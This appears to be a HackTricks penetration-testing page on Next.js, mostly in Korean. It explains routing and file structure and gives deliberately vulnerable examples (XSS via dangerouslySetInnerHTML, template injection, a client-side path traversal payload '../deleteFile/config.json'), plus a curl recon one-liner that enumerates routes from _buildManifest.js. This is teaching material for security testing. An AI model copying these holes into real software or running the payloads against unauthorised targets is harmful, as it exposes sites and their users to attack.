NextJS

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Next.js ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ์ผ๋ฐ˜ ์•„ํ‚คํ…์ฒ˜

์ผ๋ฐ˜์ ์ธ ํŒŒ์ผ ๊ตฌ์กฐ

ํ‘œ์ค€ Next.js ํ”„๋กœ์ ํŠธ๋Š” ๋ผ์šฐํŒ…, API ์—”๋“œํฌ์ธํŠธ, ์ •์  ์ž์‚ฐ ๊ด€๋ฆฌ์™€ ๊ฐ™์€ ๊ธฐ๋Šฅ์„ ์šฉ์ดํ•˜๊ฒŒ ํ•˜๋Š” ํŠน์ • ํŒŒ์ผ ๋ฐ ๋””๋ ‰ํ„ฐ๋ฆฌ ๊ตฌ์กฐ๋ฅผ ๋”ฐ๋ฆ…๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์ธ ๋ ˆ์ด์•„์›ƒ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

my-nextjs-app/
โ”œโ”€โ”€ node_modules/
โ”œโ”€โ”€ public/
โ”‚   โ”œโ”€โ”€ images/
โ”‚   โ”‚   โ””โ”€โ”€ logo.png
โ”‚   โ””โ”€โ”€ favicon.ico
โ”œโ”€โ”€ app/
โ”‚   โ”œโ”€โ”€ api/
โ”‚   โ”‚   โ””โ”€โ”€ hello/
โ”‚   โ”‚       โ””โ”€โ”€ route.ts
โ”‚   โ”œโ”€โ”€ layout.tsx
โ”‚   โ”œโ”€โ”€ page.tsx
โ”‚   โ”œโ”€โ”€ about/
โ”‚   โ”‚   โ””โ”€โ”€ page.tsx
โ”‚   โ”œโ”€โ”€ dashboard/
โ”‚   โ”‚   โ”œโ”€โ”€ layout.tsx
โ”‚   โ”‚   โ””โ”€โ”€ page.tsx
โ”‚   โ”œโ”€โ”€ components/
โ”‚   โ”‚   โ”œโ”€โ”€ Header.tsx
โ”‚   โ”‚   โ””โ”€โ”€ Footer.tsx
โ”‚   โ”œโ”€โ”€ styles/
โ”‚   โ”‚   โ”œโ”€โ”€ globals.css
โ”‚   โ”‚   โ””โ”€โ”€ Home.module.css
โ”‚   โ””โ”€โ”€ utils/
โ”‚       โ””โ”€โ”€ api.ts
โ”œโ”€โ”€ .env.local
โ”œโ”€โ”€ next.config.js
โ”œโ”€โ”€ tsconfig.json
โ”œโ”€โ”€ package.json
โ”œโ”€โ”€ README.md
โ””โ”€โ”€ yarn.lock / package-lock.json

ํ•ต์‹ฌ ๋””๋ ‰ํ† ๋ฆฌ ๋ฐ ํŒŒ์ผ

  • public/: ์ด๋ฏธ์ง€, ๊ธ€๊ผด ๋ฐ ๊ธฐํƒ€ ํŒŒ์ผ๊ณผ ๊ฐ™์€ ์ •์  ์ž์‚ฐ์„ ํ˜ธ์ŠคํŒ…ํ•ฉ๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์˜ ํŒŒ์ผ๋“ค์€ ๋ฃจํŠธ ๊ฒฝ๋กœ (/)์—์„œ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.
  • app/: ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ pages, layouts, components, ๋ฐ API routes๋ฅผ ์œ„ํ•œ ์ค‘์•™ ๋””๋ ‰ํ† ๋ฆฌ์ž…๋‹ˆ๋‹ค. App Router ํŒจ๋Ÿฌ๋‹ค์ž„์„ ์ฑ„ํƒํ•˜์—ฌ ๊ณ ๊ธ‰ ๋ผ์šฐํŒ… ๊ธฐ๋Šฅ๊ณผ ์„œ๋ฒ„-ํด๋ผ์ด์–ธํŠธ ์ปดํฌ๋„ŒํŠธ ๋ถ„๋ฆฌ๋ฅผ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.
  • app/layout.tsx: ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๋ฃจํŠธ ๋ ˆ์ด์•„์›ƒ์„ ์ •์˜ํ•˜๋ฉฐ, ๋ชจ๋“  ํŽ˜์ด์ง€๋ฅผ ๊ฐ์‹ธ๊ณ  ํ—ค๋”, ํ‘ธํ„ฐ, ๋‚ด๋น„๊ฒŒ์ด์…˜ ๋ฐ” ๊ฐ™์€ ์ผ๊ด€๋œ UI ์š”์†Œ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.
  • app/page.tsx: ๋ฃจํŠธ ๋ผ์šฐํŠธ (/)์˜ ์ง„์ž…์ ์œผ๋กœ ์ž‘๋™ํ•˜๋ฉฐ ํ™ˆ ํŽ˜์ด์ง€๋ฅผ ๋ Œ๋”๋งํ•ฉ๋‹ˆ๋‹ค.
  • app/[route]/page.tsx: ์ •์  ๋ฐ ๋™์  ๋ผ์šฐํŠธ๋ฅผ ์ฒ˜๋ฆฌํ•ฉ๋‹ˆ๋‹ค. app/ ๋‚ด๋ถ€์˜ ๊ฐ ํด๋”๋Š” ๋ผ์šฐํŠธ ์„ธ๊ทธ๋จผํŠธ๋ฅผ ๋‚˜ํƒ€๋‚ด๋ฉฐ, ํ•ด๋‹น ํด๋” ๋‚ด์˜ page.tsx๋Š” ๋ผ์šฐํŠธ์˜ ์ปดํฌ๋„ŒํŠธ์— ํ•ด๋‹นํ•ฉ๋‹ˆ๋‹ค.
  • app/api/: API ๋ผ์šฐํŠธ๋ฅผ ํฌํ•จํ•˜๋ฉฐ HTTP ์š”์ฒญ์„ ์ฒ˜๋ฆฌํ•˜๋Š” serverless ํ•จ์ˆ˜๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ์ด ๋ผ์šฐํŠธ๋Š” ๊ธฐ์กด์˜ pages/api ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ๋Œ€์ฒดํ•ฉ๋‹ˆ๋‹ค.
  • app/components/: ์—ฌ๋Ÿฌ ํŽ˜์ด์ง€์™€ ๋ ˆ์ด์•„์›ƒ์—์„œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ์žฌ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ React ์ปดํฌ๋„ŒํŠธ๋ฅผ ๋ณด๊ด€ํ•ฉ๋‹ˆ๋‹ค.
  • app/styles/: ๊ธ€๋กœ๋ฒŒ CSS ํŒŒ์ผ๊ณผ ์ปดํฌ๋„ŒํŠธ ๋ฒ”์œ„ ์Šคํƒ€์ผ๋ง์„ ์œ„ํ•œ CSS Modules๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค.
  • app/utils/: ์œ ํ‹ธ๋ฆฌํ‹ฐ ํ•จ์ˆ˜, ํ—ฌํผ ๋ชจ๋“ˆ ๋ฐ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์ „์ฒด์—์„œ ๊ณต์œ ํ•  ์ˆ˜ ์žˆ๋Š” ๊ธฐํƒ€ UI๊ฐ€ ์•„๋‹Œ ๋กœ์ง์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค.
  • .env.local: ๋กœ์ปฌ ๊ฐœ๋ฐœ ํ™˜๊ฒฝ์— ํŠน์ •ํ•œ ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋ฅผ ์ €์žฅํ•ฉ๋‹ˆ๋‹ค. ์ด ๋ณ€์ˆ˜๋“ค์€ ๋ฒ„์ „ ๊ด€๋ฆฌ์— ์ปค๋ฐ‹๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
  • next.config.js: webpack ์„ค์ •, ํ™˜๊ฒฝ ๋ณ€์ˆ˜, ๋ณด์•ˆ ์„ค์ • ๋“ฑ Next.js ๋™์ž‘์„ ์ปค์Šคํ„ฐ๋งˆ์ด์ฆˆํ•ฉ๋‹ˆ๋‹ค.
  • tsconfig.json: ํ”„๋กœ์ ํŠธ์˜ TypeScript ์„ค์ •์„ ๊ตฌ์„ฑํ•˜์—ฌ ํƒ€์ž… ๊ฒ€์‚ฌ ๋ฐ ๊ธฐํƒ€ TypeScript ๊ธฐ๋Šฅ์„ ํ™œ์„ฑํ™”ํ•ฉ๋‹ˆ๋‹ค.
  • package.json: ํ”„๋กœ์ ํŠธ์˜ ์ข…์†์„ฑ, ์Šคํฌ๋ฆฝํŠธ ๋ฐ ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ๋ฅผ ๊ด€๋ฆฌํ•ฉ๋‹ˆ๋‹ค.
  • README.md: ์„ค์ • ๋ฐฉ๋ฒ•, ์‚ฌ์šฉ ์ง€์นจ ๋ฐ ๊ธฐํƒ€ ๊ด€๋ จ ์ •๋ณด๋ฅผ ํฌํ•จํ•œ ํ”„๋กœ์ ํŠธ ๋ฌธ์„œ์™€ ์ •๋ณด๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.
  • yarn.lock / package-lock.json: ํ”„๋กœ์ ํŠธ์˜ ์˜์กด์„ฑ์„ ํŠน์ • ๋ฒ„์ „์œผ๋กœ ๊ณ ์ •ํ•˜์—ฌ ๋‹ค์–‘ํ•œ ํ™˜๊ฒฝ์—์„œ ์ผ๊ด€๋œ ์„ค์น˜๋ฅผ ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค.

Next.js์˜ ํด๋ผ์ด์–ธํŠธ ์ธก

app ๋””๋ ‰ํ† ๋ฆฌ์˜ ํŒŒ์ผ ๊ธฐ๋ฐ˜ ๋ผ์šฐํŒ…

app ๋””๋ ‰ํ† ๋ฆฌ๋Š” ์ตœ์‹  Next.js ๋ฒ„์ „์—์„œ ๋ผ์šฐํŒ…์˜ ํ•ต์‹ฌ์ž…๋‹ˆ๋‹ค. ํŒŒ์ผ ์‹œ์Šคํ…œ์„ ์ด์šฉํ•ด ๋ผ์šฐํŠธ๋ฅผ ์ •์˜ํ•˜๋ฏ€๋กœ ๋ผ์šฐํŠธ ๊ด€๋ฆฌ๋ฅผ ์ง๊ด€์ ์ด๊ณ  ํ™•์žฅ ๊ฐ€๋Šฅํ•˜๊ฒŒ ๋งŒ๋“ญ๋‹ˆ๋‹ค.

๋ฃจํŠธ ๊ฒฝ๋กœ / ์ฒ˜๋ฆฌ

ํŒŒ์ผ ๊ตฌ์กฐ:

my-nextjs-app/
โ”œโ”€โ”€ app/
โ”‚   โ”œโ”€โ”€ layout.tsx
โ”‚   โ””โ”€โ”€ page.tsx
โ”œโ”€โ”€ public/
โ”œโ”€โ”€ next.config.js
โ””โ”€โ”€ ...

ํ•ต์‹ฌ ํŒŒ์ผ:

  • app/page.tsx: ๋ฃจํŠธ ๊ฒฝ๋กœ /์— ๋Œ€ํ•œ ์š”์ฒญ์„ ์ฒ˜๋ฆฌํ•ฉ๋‹ˆ๋‹ค.
  • app/layout.tsx: ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๋ ˆ์ด์•„์›ƒ์„ ์ •์˜ํ•˜๊ณ  ๋ชจ๋“  ํŽ˜์ด์ง€๋ฅผ ๊ฐ์‹ธ๋Š” ์—ญํ• ์„ ํ•ฉ๋‹ˆ๋‹ค.

๊ตฌํ˜„:

tsxCopy code// app/page.tsx

export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}

์„ค๋ช…:

  • ๊ฒฝ๋กœ ์ •์˜: app ๋””๋ ‰ํ„ฐ๋ฆฌ ๋ฐ”๋กœ ์•„๋ž˜์— ์žˆ๋Š” page.tsx ํŒŒ์ผ์€ / ๊ฒฝ๋กœ์— ํ•ด๋‹นํ•ฉ๋‹ˆ๋‹ค.
  • ๋ Œ๋”๋ง: ์ด ์ปดํฌ๋„ŒํŠธ๋Š” ํ™ˆ ํŽ˜์ด์ง€์˜ ๋‚ด์šฉ์„ ๋ Œ๋”๋งํ•ฉ๋‹ˆ๋‹ค.
  • ๋ ˆ์ด์•„์›ƒ ํ†ตํ•ฉ: HomePage ์ปดํฌ๋„ŒํŠธ๋Š” layout.tsx๋กœ ๋ž˜ํ•‘๋˜์–ด ์žˆ์œผ๋ฉฐ, ์—ฌ๊ธฐ์—๋Š” ํ—ค๋”, ํ‘ธํ„ฐ ๋ฐ ๊ธฐํƒ€ ๊ณตํ†ต ์š”์†Œ๋ฅผ ํฌํ•จํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
๋‹ค๋ฅธ ์ •์  ๊ฒฝ๋กœ ์ฒ˜๋ฆฌ

์˜ˆ์‹œ: /about ๊ฒฝ๋กœ

ํŒŒ์ผ ๊ตฌ์กฐ:

arduinoCopy codemy-nextjs-app/
โ”œโ”€โ”€ app/
โ”‚   โ”œโ”€โ”€ about/
โ”‚   โ”‚   โ””โ”€โ”€ page.tsx
โ”‚   โ”œโ”€โ”€ layout.tsx
โ”‚   โ””โ”€โ”€ page.tsx
โ”œโ”€โ”€ public/
โ”œโ”€โ”€ next.config.js
โ””โ”€โ”€ ...

๊ตฌํ˜„:

// app/about/page.tsx

export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}

์„ค๋ช…:

  • ๊ฒฝ๋กœ ์ •์˜: about ํด๋” ์•ˆ์˜ page.tsx ํŒŒ์ผ์€ /about ๋ผ์šฐํŠธ์— ํ•ด๋‹นํ•ฉ๋‹ˆ๋‹ค.
  • ๋ Œ๋”๋ง: ์ด ์ปดํฌ๋„ŒํŠธ๋Š” about ํŽ˜์ด์ง€์˜ ๋‚ด์šฉ์„ ๋ Œ๋”๋งํ•ฉ๋‹ˆ๋‹ค.
๋™์  ๋ผ์šฐํŠธ

๋™์  ๋ผ์šฐํŠธ๋Š” ๊ฐ€๋ณ€ ์„ธ๊ทธ๋จผํŠธ๋ฅผ ๊ฐ€์ง„ ๊ฒฝ๋กœ๋ฅผ ์ฒ˜๋ฆฌํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ฃผ๋ฉฐ, ID, ์Šฌ๋Ÿฌ๊ทธ ๋“ฑ๊ณผ ๊ฐ™์€ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์ฝ˜ํ…์ธ ๋ฅผ ํ‘œ์‹œํ•˜๋„๋ก ํ•ด์ค๋‹ˆ๋‹ค.

์˜ˆ์‹œ: /posts/[id] ๋ผ์šฐํŠธ

ํŒŒ์ผ ๊ตฌ์กฐ:

arduinoCopy codemy-nextjs-app/
โ”œโ”€โ”€ app/
โ”‚   โ”œโ”€โ”€ posts/
โ”‚   โ”‚   โ””โ”€โ”€ [id]/
โ”‚   โ”‚       โ””โ”€โ”€ page.tsx
โ”‚   โ”œโ”€โ”€ layout.tsx
โ”‚   โ””โ”€โ”€ page.tsx
โ”œโ”€โ”€ public/
โ”œโ”€โ”€ next.config.js
โ””โ”€โ”€ ...

๊ตฌํ˜„:

tsxCopy code// app/posts/[id]/page.tsx

import { useRouter } from 'next/navigation';

interface PostProps {
params: { id: string };
}

export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'

return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}

์„ค๋ช…:

  • ๋™์  ์„ธ๊ทธ๋จผํŠธ: [id]๋Š” ๋ผ์šฐํŠธ์˜ ๋™์  ์„ธ๊ทธ๋จผํŠธ๋ฅผ ๋‚˜ํƒ€๋‚ด๋ฉฐ, URL์—์„œ id ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์บก์ฒ˜ํ•ฉ๋‹ˆ๋‹ค.
  • ํŒŒ๋ผ๋ฏธํ„ฐ ์ ‘๊ทผ: params ๊ฐ์ฒด๋Š” ๋™์  ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ํฌํ•จํ•˜๋ฉฐ, ์ปดํฌ๋„ŒํŠธ ๋‚ด์—์„œ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ๋ผ์šฐํŠธ ๋งค์นญ: /posts/*์™€ ๋งค์นญ๋˜๋Š” ๋ชจ๋“  ๊ฒฝ๋กœ(์˜ˆ: /posts/1, /posts/abc ๋“ฑ)๋Š” ์ด ์ปดํฌ๋„ŒํŠธ์—์„œ ์ฒ˜๋ฆฌ๋ฉ๋‹ˆ๋‹ค.
์ค‘์ฒฉ ๋ผ์šฐํŠธ

Next.js๋Š” ์ค‘์ฒฉ ๋ผ์šฐํŒ…์„ ์ง€์›ํ•˜์—ฌ ๋””๋ ‰ํ„ฐ๋ฆฌ ๋ ˆ์ด์•„์›ƒ์„ ๋ฐ˜์˜ํ•˜๋Š” ๊ณ„์ธตํ˜• ๋ผ์šฐํŠธ ๊ตฌ์กฐ๋ฅผ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค.

์˜ˆ์‹œ: /dashboard/settings/profile ๋ผ์šฐํŠธ

ํŒŒ์ผ ๊ตฌ์กฐ:

arduinoCopy codemy-nextjs-app/
โ”œโ”€โ”€ app/
โ”‚   โ”œโ”€โ”€ dashboard/
โ”‚   โ”‚   โ”œโ”€โ”€ settings/
โ”‚   โ”‚   โ”‚   โ””โ”€โ”€ profile/
โ”‚   โ”‚   โ”‚       โ””โ”€โ”€ page.tsx
โ”‚   โ”‚   โ””โ”€โ”€ page.tsx
โ”‚   โ”œโ”€โ”€ layout.tsx
โ”‚   โ””โ”€โ”€ page.tsx
โ”œโ”€โ”€ public/
โ”œโ”€โ”€ next.config.js
โ””โ”€โ”€ ...

๊ตฌํ˜„:

tsxCopy code// app/dashboard/settings/profile/page.tsx

export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}

์„ค๋ช…:

  • Deep Nesting: page.tsx ํŒŒ์ผ์€ dashboard/settings/profile/ ์•ˆ์— ์žˆ์œผ๋ฉฐ /dashboard/settings/profile ๊ฒฝ๋กœ์— ํ•ด๋‹นํ•ฉ๋‹ˆ๋‹ค.
  • Hierarchy Reflection: ๋””๋ ‰ํ„ฐ๋ฆฌ ๊ตฌ์กฐ๋Š” URL ๊ฒฝ๋กœ๋ฅผ ๋ฐ˜์˜ํ•˜์—ฌ ์œ ์ง€๋ณด์ˆ˜์„ฑ๊ณผ ๋ช…ํ™•์„ฑ์„ ํ–ฅ์ƒ์‹œํ‚ต๋‹ˆ๋‹ค.
Catch-All ๋ผ์šฐํŠธ

Catch-all ๋ผ์šฐํŠธ๋Š” ์—ฌ๋Ÿฌ ๊ฐœ์˜ ์ค‘์ฒฉ๋œ ์„ธ๊ทธ๋จผํŠธ๋‚˜ ์•Œ๋ ค์ง€์ง€ ์•Š์€ ๊ฒฝ๋กœ๋ฅผ ์ฒ˜๋ฆฌํ•˜์—ฌ ๋ผ์šฐํŠธ ์ฒ˜๋ฆฌ์— ์œ ์—ฐ์„ฑ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

์˜ˆ์‹œ: /* Route

ํŒŒ์ผ ๊ตฌ์กฐ:

my-nextjs-app/
โ”œโ”€โ”€ app/
โ”‚   โ”œโ”€โ”€ [...slug]/
โ”‚   โ”‚   โ””โ”€โ”€ page.tsx
โ”‚   โ”œโ”€โ”€ layout.tsx
โ”‚   โ””โ”€โ”€ page.tsx
โ”œโ”€โ”€ public/
โ”œโ”€โ”€ next.config.js
โ””โ”€โ”€ ...

๊ตฌํ˜„:

// app/[...slug]/page.tsx

interface CatchAllProps {
params: { slug: string[] }
}

export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`

return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}

์„ค๋ช…:

  • Catch-All Segment: [...slug]์€ ๋‚˜๋จธ์ง€ ๊ฒฝ๋กœ ์„ธ๊ทธ๋จผํŠธ๋ฅผ ๋ฐฐ์—ด๋กœ ์บก์ฒ˜ํ•ฉ๋‹ˆ๋‹ค.
  • Usage: ์‚ฌ์šฉ์ž ์ƒ์„ฑ ๊ฒฝ๋กœ๋‚˜ ์ค‘์ฒฉ ์นดํ…Œ๊ณ ๋ฆฌ ๋“ฑ ๋™์  ๋ผ์šฐํŒ… ์‹œ๋‚˜๋ฆฌ์˜ค๋ฅผ ์ฒ˜๋ฆฌํ•˜๋Š” ๋ฐ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค.
  • Route Matching: /anything/here, /foo/bar/baz ๋“ฑ๊ณผ ๊ฐ™์€ ๊ฒฝ๋กœ๋Š” ์ด ์ปดํฌ๋„ŒํŠธ์—์„œ ์ฒ˜๋ฆฌ๋ฉ๋‹ˆ๋‹ค.

์ž ์žฌ์  ํด๋ผ์ด์–ธํŠธ ์ธก ์ทจ์•ฝ์ 

While Next.js provides a secure foundation, improper coding practices can introduce vulnerabilities. Key client-side vulnerabilities include:

Cross-Site Scripting (XSS)

XSS ๊ณต๊ฒฉ์€ ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ์›น์‚ฌ์ดํŠธ์— ์ฃผ์ž…๋  ๋•Œ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ์‚ฌ์šฉ์ž์˜ ๋ธŒ๋ผ์šฐ์ €์—์„œ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•ด ๋ฐ์ดํ„ฐ๋ฅผ ํ›”์น˜๊ฑฐ๋‚˜ ์‚ฌ์šฉ์ž๋ฅผ ๋Œ€์‹ ํ•ด ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ทจ์•ฝํ•œ ์ฝ”๋“œ ์˜ˆ:

// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}

์ทจ์•ฝํ•œ ์ด์œ : ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์ž…๋ ฅ๊ณผ ํ•จ๊ป˜ dangerouslySetInnerHTML๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ๊ณต๊ฒฉ์ž๊ฐ€ ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Client-Side Template Injection

์‚ฌ์šฉ์ž ์ž…๋ ฅ์ด ํ…œํ”Œ๋ฆฟ์—์„œ ๋ถ€์ ์ ˆํ•˜๊ฒŒ ์ฒ˜๋ฆฌ๋  ๋•Œ ๋ฐœ์ƒํ•˜๋ฉฐ, ๊ณต๊ฒฉ์ž๊ฐ€ ํ…œํ”Œ๋ฆฟ์ด๋‚˜ ํ‘œํ˜„์‹์„ ์ฃผ์ž…ํ•˜๊ณ  ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

์ทจ์•ฝํ•œ ์ฝ”๋“œ ์˜ˆ์‹œ:

import React from "react"
import ejs from "ejs"

function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}

์ทจ์•ฝํ•œ ์ด์œ : ๋งŒ์•ฝ template ๋˜๋Š” data์— ์•…์˜์ ์ธ ๋‚ด์šฉ์ด ํฌํ•จ๋˜๋ฉด ์›์น˜ ์•Š๋Š” ์ฝ”๋“œ๊ฐ€ ์‹คํ–‰๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Client Path Traversal

์ด ์ทจ์•ฝ์ ์€ ๊ณต๊ฒฉ์ž๊ฐ€ ํด๋ผ์ด์–ธํŠธ ์ธก ๊ฒฝ๋กœ๋ฅผ ์กฐ์ž‘ํ•˜์—ฌ Cross-Site Request Forgery (CSRF)์™€ ๊ฐ™์€ ์›์น˜ ์•Š๋Š” ๋™์ž‘์„ ์ˆ˜ํ–‰ํ•˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Unlike server-side path traversal, which targets the serverโ€™s filesystem, CSPT focuses on exploiting client-side mechanisms to reroute legitimate API requests to malicious endpoints.

์ทจ์•ฝํ•œ ์ฝ”๋“œ ์˜ˆ์‹œ:

Next.js ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์‚ฌ์šฉ์ž๊ฐ€ ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•˜๊ณ  ๋‹ค์šด๋กœ๋“œํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ๋‹ค์šด๋กœ๋“œ ๊ธฐ๋Šฅ์€ ํด๋ผ์ด์–ธํŠธ ์ธก์— ๊ตฌํ˜„๋˜์–ด ์žˆ์œผ๋ฉฐ, ์‚ฌ์šฉ์ž๊ฐ€ ๋‹ค์šด๋กœ๋“œํ•  ํŒŒ์ผ ๊ฒฝ๋กœ๋ฅผ ์ง€์ •ํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

// pages/download.js
import { useState } from "react"

export default function DownloadPage() {
const [filePath, setFilePath] = useState("")

const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}

return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}

๊ณต๊ฒฉ ์‹œ๋‚˜๋ฆฌ์˜ค

  1. ๊ณต๊ฒฉ์ž์˜ ๋ชฉํ‘œ: filePath๋ฅผ ์กฐ์ž‘ํ•˜์—ฌ ์ค‘์š”ํ•œ ํŒŒ์ผ(์˜ˆ: admin/config.json)์„ ์‚ญ์ œํ•˜๋Š” CSRF ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค.
  2. CSPT ์•…์šฉ:
  • ์•…์˜์  ์ž…๋ ฅ: ๊ณต๊ฒฉ์ž๋Š” ../deleteFile/config.json ๊ฐ™์€ ์กฐ์ž‘๋œ filePath๋ฅผ ํฌํ•จํ•œ URL์„ ๋งŒ๋“ญ๋‹ˆ๋‹ค.
  • ๊ฒฐ๊ณผ API ํ˜ธ์ถœ: ํด๋ผ์ด์–ธํŠธ ์ธก ์ฝ”๋“œ๋Š” /api/files/../deleteFile/config.json์— ์š”์ฒญ์„ ๋ณด๋ƒ…๋‹ˆ๋‹ค.
  • ์„œ๋ฒ„ ์ฒ˜๋ฆฌ: ์„œ๋ฒ„๊ฐ€ filePath๋ฅผ ๊ฒ€์ฆํ•˜์ง€ ์•Š์œผ๋ฉด ์š”์ฒญ์„ ์ฒ˜๋ฆฌํ•˜์—ฌ ๋ฏผ๊ฐํ•œ ํŒŒ์ผ์„ ์‚ญ์ œํ•˜๊ฑฐ๋‚˜ ๋…ธ์ถœ์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  1. CSRF ์‹คํ–‰:
  • ์กฐ์ž‘๋œ ๋งํฌ: ๊ณต๊ฒฉ์ž๋Š” ํ”ผํ•ด์ž์—๊ฒŒ ๋งํฌ๋ฅผ ๋ณด๋‚ด๊ฑฐ๋‚˜ ์กฐ์ž‘๋œ filePath๋กœ ๋‹ค์šด๋กœ๋“œ ์š”์ฒญ์„ ํŠธ๋ฆฌ๊ฑฐํ•˜๋Š” ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฝ์ž…ํ•ฉ๋‹ˆ๋‹ค.
  • ๊ฒฐ๊ณผ: ํ”ผํ•ด์ž๋Š” ์ž์‹ ๋„ ๋ชจ๋ฅด๊ฒŒ ํ•ด๋‹น ๋™์ž‘์„ ์ˆ˜ํ–‰ํ•˜์—ฌ ๋ฌด๋‹จ ํŒŒ์ผ ์•ก์„ธ์Šค ๋˜๋Š” ์‚ญ์ œ๋กœ ์ด์–ด์ง‘๋‹ˆ๋‹ค.

Recon: static export route discovery via _buildManifest

When nextExport/autoExport are true (static export), Next.js exposes the buildId in the HTML and serves a build manifest at /_next/static/<buildId>/_buildManifest.js. The sortedPages array and routeโ†’chunk mapping there enumerate every prerendered page without brute force.

  • Grab the buildId from the root response (often printed at the bottom) or from <script> tags loading /_next/static/<buildId>/....
  • Fetch the manifest and extract routes:
build=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')
curl -s "http://target/_next/static/${build}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]\-/]+)"' | tr -d '"'
